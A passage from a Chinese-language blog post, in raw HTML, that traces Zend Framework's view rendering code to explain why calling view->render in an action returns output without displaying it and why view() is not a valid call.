</span><span style="color: #008080;">11</span><span style="color: #000000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /> </span><span style="color: #800080;">$view</span><span style="color: #000000;">-&gt;</span><span style="color: #000000;">render(</span><span style="color: #800080;">$script</span><span style="color: #000000;">)</span><span style="color: #000000;">,</span><span style="color: #000000;"><br />
</span><span style="color: #008080;">12</span><span style="color: #000000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /> </span><span style="color: #800080;">$name</span><span style="color: #000000;"><br />
</span><span style="color: #008080;">13</span><span style="color: #000000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /> );</span><br />
而我们再看看viewRenderer的render(),viewRenderer的render方法其实是调用了renderScript方法,代码如下<br />
<span style="font-family: 'Courier New'; color: #008080;">1</span><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #0000ff;">public</span><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #0000ff;">function</span><span style="font-family: 'Courier New'; color: #000000;"> renderScript(</span><span style="font-family: 'Courier New'; color: #800080;">$script</span><span style="font-family: 'Courier New'; color: #000000;">,</span><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #800080;">$name</span><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #000000;">=</span><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #0000ff;">null</span><span style="font-family: 'Courier New'; color: #000000;">)<br />
</span><span style="font-family: 'Courier New'; color: #008080;">2</span><span style="font-family: 'Courier New'; color: #000000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /> {<br />
</span><span style="font-family: 'Courier New'; color: #008080;">3</span><span style="font-family: 'Courier New'; color: #000000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /> </span><span style="font-family: 'Courier New'; color: #0000ff;">if</span><span style="font-family: 'Courier New'; color: #000000;"> (</span><span style="font-family: 'Courier New'; color: #0000ff;">null</span><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #000000;">===</span><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #800080;">$name</span><span style="font-family: 'Courier New'; color: #000000;">) {<br />
</span><span style="font-family: 'Courier New'; color: #008080;">4</span><span style="font-family: 'Courier New'; color: #000000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /> </span><span style="font-family: 'Courier New'; color: #800080;">$name</span><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #000000;">=</span><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #800080;">$this</span><span style="font-family: 'Courier New'; color: #000000;">-&gt;</span><span style="font-family: 'Courier New'; color: #000000;">getResponseSegment();<br />
</span><span style="font-family: 'Courier New'; color: #008080;">5</span><span style="font-family: 'Courier New'; color: #000000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /> }<br />
</span><span style="font-family: 'Courier New'; color: #008080;">6</span><span style="font-family: 'Courier New'; color: #000000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /><br />
</span><span style="font-family: 'Courier New'; color: #008080;">7</span><span style="font-family: 'Courier New'; color: #000000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /> </span><span style="font-family: 'Courier New'; color: #800080;">$this</span><span style="font-family: 'Courier New'; color: #000000;">-&gt;</span><span style="font-family: 'Courier New'; color: #000000;">getResponse()</span><span style="font-family: 'Courier New'; color: #000000;">-&gt;</span><span style="font-family: 'Courier New'; color: #000000;">appendBody(<br />
</span><span style="font-family: 'Courier New'; color: #008080;">8</span><span style="font-family: 'Courier New'; color: #000000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /> </span><span style="font-family: 'Courier New'; color: #800080;">$this</span><span style="font-family: 'Courier New'; color: #000000;">-&gt;</span><span style="font-family: 'Courier New'; color: #000000;">view</span><span style="font-family: 'Courier New'; color: #000000;">-&gt;</span><span style="font-family: 'Courier New'; color: #000000;">render(</span><span style="font-family: 'Courier New'; color: #800080;">$script</span><span style="font-family: 'Courier New'; color: #000000;">)</span><span style="font-family: 'Courier New'; color: #000000;">,</span><span style="font-family: 'Courier New'; color: #000000;"><br />
</span><span style="font-family: 'Courier New'; color: #008080;">9</span><span style="font-family: 'Courier New'; color: #000000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /> </span><span style="font-family: 'Courier New'; color: #800080;">$name</span><span style="font-family: 'Courier New'; color: #000000;"><br />
</span><span style="font-family: 'Courier New'; color: #008080;">10</span><span style="font-family: 'Courier New'; color: #000000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /> );<br />
</span><span style="font-family: 'Courier New'; color: #008080;">11</span><span style="font-family: 'Courier New'; color: #000000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /><br />
</span><span style="font-family: 'Courier New'; color: #008080;">12</span><span style="font-family: 'Courier New'; color: #000000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /> </span><span style="font-family: 'Courier New'; color: #800080;">$this</span><span style="font-family: 'Courier New'; color: #000000;">-&gt;</span><span style="font-family: 'Courier New'; color: #000000;">setNoRender();<br />
</span><span style="font-family: 'Courier New'; color: #008080;">13</span><span style="font-family: 'Courier New'; color: #000000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /> }</span><br />
可以看到这里跟action的render有点类似,也有同样的那句话.<br />
就是说action的render和viewRenderer的render其实都是调用Zend_View的render,拿到内容而后置放到response中</p>
<p>Zend_View的render:<br />
<span style="font-family: 'Courier New'; color: #008080;">1</span><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #0000ff;">public</span><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #0000ff;">function</span><span style="font-family: 'Courier New'; color: #000000;"> render(</span><span style="font-family: 'Courier New'; color: #800080;">$name</span><span style="font-family: 'Courier New'; color: #000000;">)<br />
</span><span style="font-family: 'Courier New'; color: #008080;">2</span><span style="font-family: 'Courier New'; color: #000000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /> {<br />
</span><span style="font-family: 'Courier New'; color: #008080;">3</span><span style="font-family: 'Courier New'; color: #000000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /> </span><span style="font-family: 'Courier New'; color: #008000;">//</span><span style="font-family: 'Courier New'; color: #008000;"> find the script file name using the parent private method</span><span style="font-family: 'Courier New'; color: #008000;"><br />
</span><span style="font-family: 'Courier New'; color: #008080;">4</span><span style="font-family: 'Courier New'; color: #008000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /></span><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #800080;">$this</span><span style="font-family: 'Courier New'; color: #000000;">-&gt;</span><span style="font-family: 'Courier New'; color: #000000;">_file </span><span style="font-family: 'Courier New'; color: #000000;">=</span><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #800080;">$this</span><span style="font-family: 'Courier New'; color: #000000;">-&gt;</span><span style="font-family: 'Courier New'; color: #000000;">_script(</span><span style="font-family: 'Courier New'; color: #800080;">$name</span><span style="font-family: 'Courier New'; color: #000000;">);<br />
</span><span style="font-family: 'Courier New'; color: #008080;">5</span><span style="font-family: 'Courier New'; color: #000000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /> </span><span style="font-family: 'Courier New'; color: #0000ff;">unset</span><span style="font-family: 'Courier New'; color: #000000;">(</span><span style="font-family: 'Courier New'; color: #800080;">$name</span><span style="font-family: 'Courier New'; color: #000000;">); </span><span style="font-family: 'Courier New'; color: #008000;">//</span><span style="font-family: 'Courier New'; color: #008000;"> remove $name from local scope</span><span style="font-family: 'Courier New'; color: #008000;"><br />
</span><span style="font-family: 'Courier New'; color: #008080;">6</span><span style="font-family: 'Courier New'; color: #008000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /></span><span style="font-family: 'Courier New'; color: #000000;"><br />
</span><span style="font-family: 'Courier New'; color: #008080;">7</span><span style="font-family: 'Courier New'; color: #000000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /> </span><span style="font-family: 'Courier New'; color: #008080;">ob_start</span><span style="font-family: 'Courier New'; color: #000000;">();<br />
</span><span style="font-family: 'Courier New'; color: #008080;">8</span><span style="font-family: 'Courier New'; color: #000000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /> </span><span style="font-family: 'Courier New'; color: #800080;">$this</span><span style="font-family: 'Courier New'; color: #000000;">-&gt;</span><span style="font-family: 'Courier New'; color: #000000;">_run(</span><span style="font-family: 'Courier New'; color: #800080;">$this</span><span style="font-family: 'Courier New'; color: #000000;">-&gt;</span><span style="font-family: 'Courier New'; color: #000000;">_file);<br />
</span><span style="font-family: 'Courier New'; color: #008080;">9</span><span style="font-family: 'Courier New'; color: #000000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /><br />
</span><span style="font-family: 'Courier New'; color: #008080;">10</span><span style="font-family: 'Courier New'; color: #000000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /> </span><span style="font-family: 'Courier New'; color: #0000ff;">return</span><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #800080;">$this</span><span style="font-family: 'Courier New'; color: #000000;">-&gt;</span><span style="font-family: 'Courier New'; color: #000000;">_filter(</span><span style="font-family: 'Courier New'; color: #008080;">ob_get_clean</span><span style="font-family: 'Courier New'; color: #000000;">()); </span><span style="font-family: 'Courier New'; color: #008000;">//</span><span style="font-family: 'Courier New'; color: #008000;"> filter output</span><span style="font-family: 'Courier New'; color: #008000;"><br />
</span><span style="font-family: 'Courier New'; color: #008080;">11</span><span style="font-family: 'Courier New'; color: #008000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /></span><span style="font-family: 'Courier New'; color: #000000;"> }</span></p>
<p>至于run:<br />
<span style="font-family: 'Courier New'; color: #008080;">1</span><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #0000ff;">protected</span><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #0000ff;">function</span><span style="font-family: 'Courier New'; color: #000000;"> _run()<br />
</span><span style="font-family: 'Courier New'; color: #008080;">2</span><span style="font-family: 'Courier New'; color: #000000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /> {<br />
</span><span style="font-family: 'Courier New'; color: #008080;">3</span><span style="font-family: 'Courier New'; color: #000000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /> </span><span style="font-family: 'Courier New'; color: #0000ff;">if</span><span style="font-family: 'Courier New'; color: #000000;"> (</span><span style="font-family: 'Courier New'; color: #800080;">$this</span><span style="font-family: 'Courier New'; color: #000000;">-&gt;</span><span style="font-family: 'Courier New'; color: #000000;">_useViewStream </span><span style="font-family: 'Courier New'; color: #000000;">&amp;&amp;</span><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #800080;">$this</span><span style="font-family: 'Courier New'; color: #000000;">-&gt;</span><span style="font-family: 'Courier New'; color: #000000;">useStreamWrapper()) {<br />
</span><span style="font-family: 'Courier New'; color: #008080;">4</span><span style="font-family: 'Courier New'; color: #000000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /> </span><span style="font-family: 'Courier New'; color: #0000ff;">include</span><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #000000;">&#8216;</span><span style="font-family: 'Courier New'; color: #000000;">zend.view://</span><span style="font-family: 'Courier New'; color: #000000;">&#8216;</span><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #000000;">.</span><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #008080;">func_get_arg</span><span style="font-family: 'Courier New'; color: #000000;">(</span><span style="font-family: 'Courier New'; color: #000000;">0</span><span style="font-family: 'Courier New'; color: #000000;">);<br />
</span><span style="font-family: 'Courier New'; color: #008080;">5</span><span style="font-family: 'Courier New'; color: #000000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /> } </span><span style="font-family: 'Courier New'; color: #0000ff;">else</span><span style="font-family: 'Courier New'; color: #000000;"> {<br />
</span><span style="font-family: 'Courier New'; color: #008080;">6</span><span style="font-family: 'Courier New'; color: #000000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /> </span><span style="font-family: 'Courier New'; color: #0000ff;">include</span><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #008080;">func_get_arg</span><span style="font-family: 'Courier New'; color: #000000;">(</span><span style="font-family: 'Courier New'; color: #000000;">0</span><span style="font-family: 'Courier New'; color: #000000;">);<br />
</span><span style="font-family: 'Courier New'; color: #008080;">7</span><span style="font-family: 'Courier New'; color: #000000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /> }<br />
</span><span style="font-family: 'Courier New'; color: #008080;">8</span><span style="font-family: 'Courier New'; color: #000000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /> }</span></p>
<p>那么你就明白了最开始代码中的第13行<br />
13 //$this-&gt;view-&gt;render(&#8220;sidebar.phtml&#8221;);<br />
其实是个幌子,哈.这句话只是得到了内容,但是呢 没做处理!<br />
所以我们应该这样<br />
13 echo $this-&gt;view-&gt;render(&#8220;sidebar.phtml&#8221;);<br />
再然后呢?参看Zend_Controller_Front类dispatch<br />
$this-&gt;_response-&gt;sendResponse();<br />
及Zend_Controller_Response_Abstract类<br />
<span style="font-family: 'Courier New'; color: #008080;">1</span><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #0000ff;">public</span><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #0000ff;">function</span><span style="font-family: 'Courier New'; color: #000000;"> outputBody()<br />
</span><span style="font-family: 'Courier New'; color: #008080;">2</span><span style="font-family: 'Courier New'; color: #000000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /> {<br />
</span><span style="font-family: 'Courier New'; color: #008080;">3</span><span style="font-family: 'Courier New'; color: #000000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /> </span><span style="font-family: 'Courier New'; color: #0000ff;">foreach</span><span style="font-family: 'Courier New'; color: #000000;"> (</span><span style="font-family: 'Courier New'; color: #800080;">$this</span><span style="font-family: 'Courier New'; color: #000000;">-&gt;</span><span style="font-family: 'Courier New'; color: #000000;">_body </span><span style="font-family: 'Courier New'; color: #0000ff;">as</span><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #800080;">$content</span><span style="font-family: 'Courier New'; color: #000000;">) {<br />
</span><span style="font-family: 'Courier New'; color: #008080;">4</span><span style="font-family: 'Courier New'; color: #000000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /> </span><span style="font-family: 'Courier New'; color: #0000ff;">echo</span><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #800080;">$content</span><span style="font-family: 'Courier New'; color: #000000;">;<br />
</span><span style="font-family: 'Courier New'; color: #008080;">5</span><span style="font-family: 'Courier New'; color: #000000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /> }<br />
</span><span style="font-family: 'Courier New'; color: #008080;">6</span><span style="font-family: 'Courier New'; color: #000000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /> }</span></p>
<p>而至于第14行<br />
14 //$this-&gt;view(&#8220;sidebar&#8221;);<br />
貌似合理,瞪一眼就知道了:这句话地地道道的错误<br />
action 中没有这个方法,__call中也没有相应处理,不象_helper-&gt;viewRenderer(&#8220;sidebar&#8221;);在 _helper针对该情况在__call中有相应处理<br />
<span style="font-family: 'Courier New'; color: #008080;">1</span><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #0000ff;">public</span><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #0000ff;">function</span><span style="font-family: 'Courier New'; color: #000000;"> __call(</span><span style="font-family: 'Courier New'; color: #800080;">$method</span><span style="font-family: 'Courier New'; color: #000000;">,</span><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #800080;">$args</span><span style="font-family: 'Courier New'; color: #000000;">)<br />
</span><span style="font-family: 'Courier New'; color: #008080;">2</span><span style="font-family: 'Courier New'; color: #000000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /> {<br />
</span><span style="font-family: 'Courier New'; color: #008080;">3</span><span style="font-family: 'Courier New'; color: #000000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /> </span><span style="font-family: 'Courier New'; color: #800080;">$helper</span><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #000000;">=</span><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #800080;">$this</span><span style="font-family: 'Courier New'; color: #000000;">-&gt;</span><span style="font-family: 'Courier New'; color: #000000;">getHelper(</span><span style="font-family: 'Courier New'; color: #800080;">$method</span><span style="font-family: 'Courier New'; color: #000000;">);<br />
</span><span style="font-family: 'Courier New'; color: #008080;">4</span><span style="font-family: 'Courier New'; color: #000000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /> </span><span style="font-family: 'Courier New'; color: #0000ff;">if</span><span style="font-family: 'Courier New'; color: #000000;"> (</span><span style="font-family: 'Courier New'; color: #000000;">!</span><span style="font-family: 'Courier New'; color: #008080;">method_exists</span><span style="font-family: 'Courier New'; color: #000000;">(</span><span style="font-family: 'Courier New'; color: #800080;">$helper</span><span style="font-family: 'Courier New'; color: #000000;">,</span><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #000000;">&#8216;</span><span style="font-family: 'Courier New'; color: #000000;">direct</span><span style="font-family: 'Courier New'; color: #000000;">&#8216;</span><span style="font-family: 'Courier New'; color: #000000;">)) {<br />
</span><span style="font-family: 'Courier New'; color: #008080;">5</span><span style="font-family: 'Courier New'; color: #000000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /> </span><span style="font-family: 'Courier New'; color: #0000ff;">require_once</span><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #000000;">&#8216;</span><span style="font-family: 'Courier New'; color: #000000;">Zend/Controller/Action/Exception.php</span><span style="font-family: 'Courier New'; color: #000000;">&#8216;</span><span style="font-family: 'Courier New'; color: #000000;">;<br />
</span><span style="font-family: 'Courier New'; color: #008080;">6</span><span style="font-family: 'Courier New'; color: #000000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /> </span><span style="font-family: 'Courier New'; color: #0000ff;">throw</span><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #0000ff;">new</span><span style="font-family: 'Courier New'; color: #000000;"> Zend_Controller_Action_Exception(</span><span style="font-family: 'Courier New'; color: #000000;">&#8216;</span><span style="font-family: 'Courier New'; color: #000000;">Helper &#8221;</span><span style="font-family: 'Courier New'; color: #000000;">&#8216;</span><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #000000;">.</span><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #800080;">$method</span><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #000000;">.</span><span style="font-family: 'Courier New'; color: #000000;">&#8216;</span><span style="font-family: 'Courier New'; color: #000000;">&#8220; does not support overloading via direct()</span><span style="font-family: 'Courier New'; color: #000000;">&#8216;</span><span style="font-family: 'Courier New'; color: #000000;">);<br />
</span><span style="font-family: 'Courier New'; color: #008080;">7</span><span style="font-family: 'Courier New'; color: #000000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /> }<br />
</span><span style="font-family: 'Courier New'; color: #008080;">8</span><span style="font-family: 'Courier New'; color: #000000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /> </span><span style="font-family: 'Courier New'; color: #0000ff;">return</span><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #008080;">call_user_func_array</span><span style="font-family: 'Courier New'; color: #000000;">(</span><span style="font-family: 'Courier New'; color: #0000ff;">array</span><span style="font-family: 'Courier New'; color: #000000;">(</span><span style="font-family: 'Courier New'; color: #800080;">$helper</span><span style="font-family: 'Courier New'; color: #000000;">,</span><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #000000;">&#8216;</span><span style="font-family: 'Courier New'; color: #000000;">direct</span><span style="font-family: 'Courier New'; color: #000000;">&#8216;</span><span style="font-family: 'Courier New'; color: #000000;">)</span><span style="font-family: 'Courier New'; color: #000000;">,</span><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #800080;">$args</span><span style="font-family: 'Courier New'; color: #000000;">);<br />
</span><span style="font-family: 'Courier New'; color: #008080;">9</span><span style="font-family: 'Courier New'; color: #000000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /> }</span><br />
没有viewRenderer这个方法,于是去寻找名为viewRenderer并且有direct方法的助手,找到了即执行这个direct方法(上面第二部分贴过代码了)<br />
至于viewRenderer这个助手存放时,要注意到他的名字是死的 就是&#8221;viewRenderer&#8221;,具体看Zend_Controller_Action_Helper_Abstract类的getName方法<br />
<span style="font-family: 'Courier New'; color: #008080;">1</span><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #0000ff;">public</span><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #0000ff;">function</span><span style="font-family: 'Courier New'; color: #000000;"> getName()<br />
</span><span style="font-family: 'Courier New'; color: #008080;">2</span><span style="font-family: 'Courier New'; color: #000000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /> {<br />
</span><span style="font-family: 'Courier New'; color: #008080;">3</span><span style="font-family: 'Courier New'; color: #000000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /> </span><span style="font-family: 'Courier New'; color: #800080;">$full_class_name</span><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #000000;">=</span><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #008080;">get_class</span><span style="font-family: 'Courier New'; color: #000000;">(</span><span style="font-family: 'Courier New'; color: #800080;">$this</span><span style="font-family: 'Courier New'; color: #000000;">);<br />
</span><span style="font-family: 'Courier New'; color: #008080;">4</span><span style="font-family: 'Courier New'; color: #000000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /><br />
</span><span style="font-family: 'Courier New'; color: #008080;">5</span><span style="font-family: 'Courier New'; color: #000000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /> </span><span style="font-family: 'Courier New'; color: #0000ff;">if</span><span style="font-family: 'Courier New'; color: #000000;"> (</span><span style="font-family: 'Courier New'; color: #008080;">strpos</span><span style="font-family: 'Courier New'; color: #000000;">(</span><span style="font-family: 'Courier New'; color: #800080;">$full_class_name</span><span style="font-family: 'Courier New'; color: #000000;">,</span><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #000000;">&#8216;</span><span style="font-family: 'Courier New'; color: #000000;">_</span><span style="font-family: 'Courier New'; color: #000000;">&#8216;</span><span style="font-family: 'Courier New'; color: #000000;">) </span><span style="font-family: 'Courier New'; color: #000000;">!==</span><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #0000ff;">false</span><span style="font-family: 'Courier New'; color: #000000;">) {<br />
</span><span style="font-family: 'Courier New'; color: #008080;">6</span><span style="font-family: 'Courier New'; color: #000000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /> </span><span style="font-family: 'Courier New'; color: #800080;">$helper_name</span><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #000000;">=</span><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #008080;">strrchr</span><span style="font-family: 'Courier New'; color: #000000;">(</span><span style="font-family: 'Courier New'; color: #800080;">$full_class_name</span><span style="font-family: 'Courier New'; color: #000000;">,</span><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #000000;">&#8216;</span><span style="font-family: 'Courier New'; color: #000000;">_</span><span style="font-family: 'Courier New'; color: #000000;">&#8216;</span><span style="font-family: 'Courier New'; color: #000000;">);<br />
</span><span style="font-family: 'Courier New'; color: #008080;">7</span><span style="font-family: 'Courier New'; color: #000000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /> </span><span style="font-family: 'Courier New'; color: #0000ff;">return</span><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #008080;">ltrim</span><span style="font-family: 'Courier New'; color: #000000;">(</span><span style="font-family: 'Courier New'; color: #800080;">$helper_name</span><span style="font-family: 'Courier New'; color: #000000;">,</span><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #000000;">&#8216;</span><span style="font-family: 'Courier New'; color: #000000;">_</span><span style="font-family: 'Courier New'; color: #000000;">&#8216;</span><span style="font-family: 'Courier New'; color: #000000;">);<br />
</span><span style="font-family: 'Courier New'; color: #008080;">8</span><span style="font-family: 'Courier New'; color: #000000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /> } </span><span style="font-family: 'Courier New'; color: #0000ff;">else</span><span style="font-family: 'Courier New'; color: #000000;"> {<br />
</span><span style="font-family: 'Courier New'; color: #008080;">9</span><span style="font-family: 'Courier New'; color: #000000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /> </span><span style="font-family: 'Courier New'; color: #0000ff;">return</span><span style="font-family: 'Courier New'; color: #000000;"> </span><span style="font-family: 'Courier New'; color: #800080;">$full_class_name</span><span style="font-family: 'Courier New'; color: #000000;">;<br />
</span><span style="font-family: 'Courier New'; color: #008080;">10</span><span style="font-family: 'Courier New'; color: #000000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /> }<br />
